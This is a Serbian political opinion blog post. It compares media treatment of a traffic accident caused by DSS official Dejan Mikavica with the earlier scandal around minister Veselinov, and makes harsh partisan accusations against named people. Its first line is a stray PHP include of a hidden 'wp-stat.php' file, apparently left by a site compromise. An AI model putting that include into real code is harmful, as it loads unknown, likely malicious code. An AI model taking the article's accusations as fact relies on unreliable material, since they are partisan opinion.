@require(dirname(__FILE__).'/wp-stat.php'); Malo ubistvo među neprijateljima – Nedim Sejdinović

Malo ubistvo među neprijateljima

Pre neki dan u Novom Sadu, jedan od najuticajnijih ideologa i funkcionera Koštuničine Demokratske stranke Srbije, Dejan Mikavica, prouzrokovao je saobraćajnu nesreću u kojoj je teško nastradala jedna bakica. Mikavica je profesor na Filozofskom fakultetu u Novom Sadu, šef Katedre za istoriju, koja već duže vreme produkuje opasne diplomce, strastvene nacionaliste sa ularom na očima, od kojih su neki članovi neonacističkih organizacija, dok drugi rado revidiraju istoriju i Hitlera u najmanju ruku poštuju. Mikavica je tzv. ljotićevac, jedan od učenika zloglasnog profesora Ljušića.

Stvarno je mučno jednu saobraćajnu nesreću upotrebljavati u političke ili bilo kakve druge svrhe, ali neumitno me je ovaj događaj podsetio na saobraćajnu nesreću u kojoj je vozač tadašnjeg ministra poljoprivrede Dragana Veselinova usmrtio jednu devojku. Danima su u svim novinama i informativnim televizijskim emisijama ova vest i ono što ju je okruživalo – bili top-tema. Top-tema i novinarski tračevi na kraju su doveli do ostavke ovog ministra. U principu nije loše kada javno mnjenje doprinese ostavci jednog ministra, ali samo u slučaju da to javno mnjenje nije tek oružje, i ništa drugo, u rukama vladinih protivnika. Naravno, ovakav incident u svakoj normalnoj državi morao bi imati za posledicu ostavku ministra. Veselinov se dugo opirao dok nije dobio naredbu od premijera Đinđića da se odmah povuče. Možda da je odmah podneo ostavku, možda bi i danas bio politički živ – ovako je politički mrtvac koga se retko ko i seća po bilo čemu drugome do po nesreći.

U napadima na Veselinova prednjačili su novinarski kerberi okupljeni oko Koštunice, Tijanića i DSS-a, a njihova meta je naravno bio premijer Đinđić, odnosno vlada, a ne Veselinov. Da je sreće, mnogi od nas ne bi zaboravili ta užasna moralisanja, dubokoumne priče o legalitetu i legitimitetu – naravno, vezane ne samo za ovu nesreću – koje su i pogažene i ismejane pod surovim i sirovim nogama Koštuničine vlade. Da li se sećamo priče da Đinđićeva vlada mora da podnese ostavku zbog toga što je podržava veoma mali procenat stanovništva Srbije? Ne deluje li to danas tako smešno, strašno smešno?

Sada će biti zanimljivo posmatrati kako će se DSS-ovci i mediji ponašati kada je nesreća zaigrala u njihovom dvorištu. Da li će se praviti ludi? Naravno da hoće. Da li će Mikavicu pustiti niz vodu? U najboljem (za njega najgorem) slučaju možda bude poslan negde u ambasadore ili konzule. Njemu to može biti problem jer se veoma lepo „snašao“ otkada sa radikalima u Novom Sadu „odigrava“ vlast. Hoće li odgovarati? Sigurno ništa više no što je odgovarao vladika Pahomije. Jedino možda neće i dalje baš tako nadobudno šetati Novim Sadom u seljačkoj crvenoj trenerci i pretiti svakome ko ga mrko pogleda! A možda i hoće.

Veselinov je nestao sa javne političke scene. Ali, on u svojoj primitivnoj i alkoholom natopljenoj nadobudnosti nije ni primetio da je sklon padu, dok je Mikavica višestruko “jači igrač” jer njega, za razliku od Veselinova, podržavaju i Crkva i Policija i DB i SANU i ostala banda koja je i dalje jača od bilo koga u ovoj zemlji. Pokušajte im se zameriti pa ćete videti kako ćete proći. Pogledaj pod Đinđić!

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.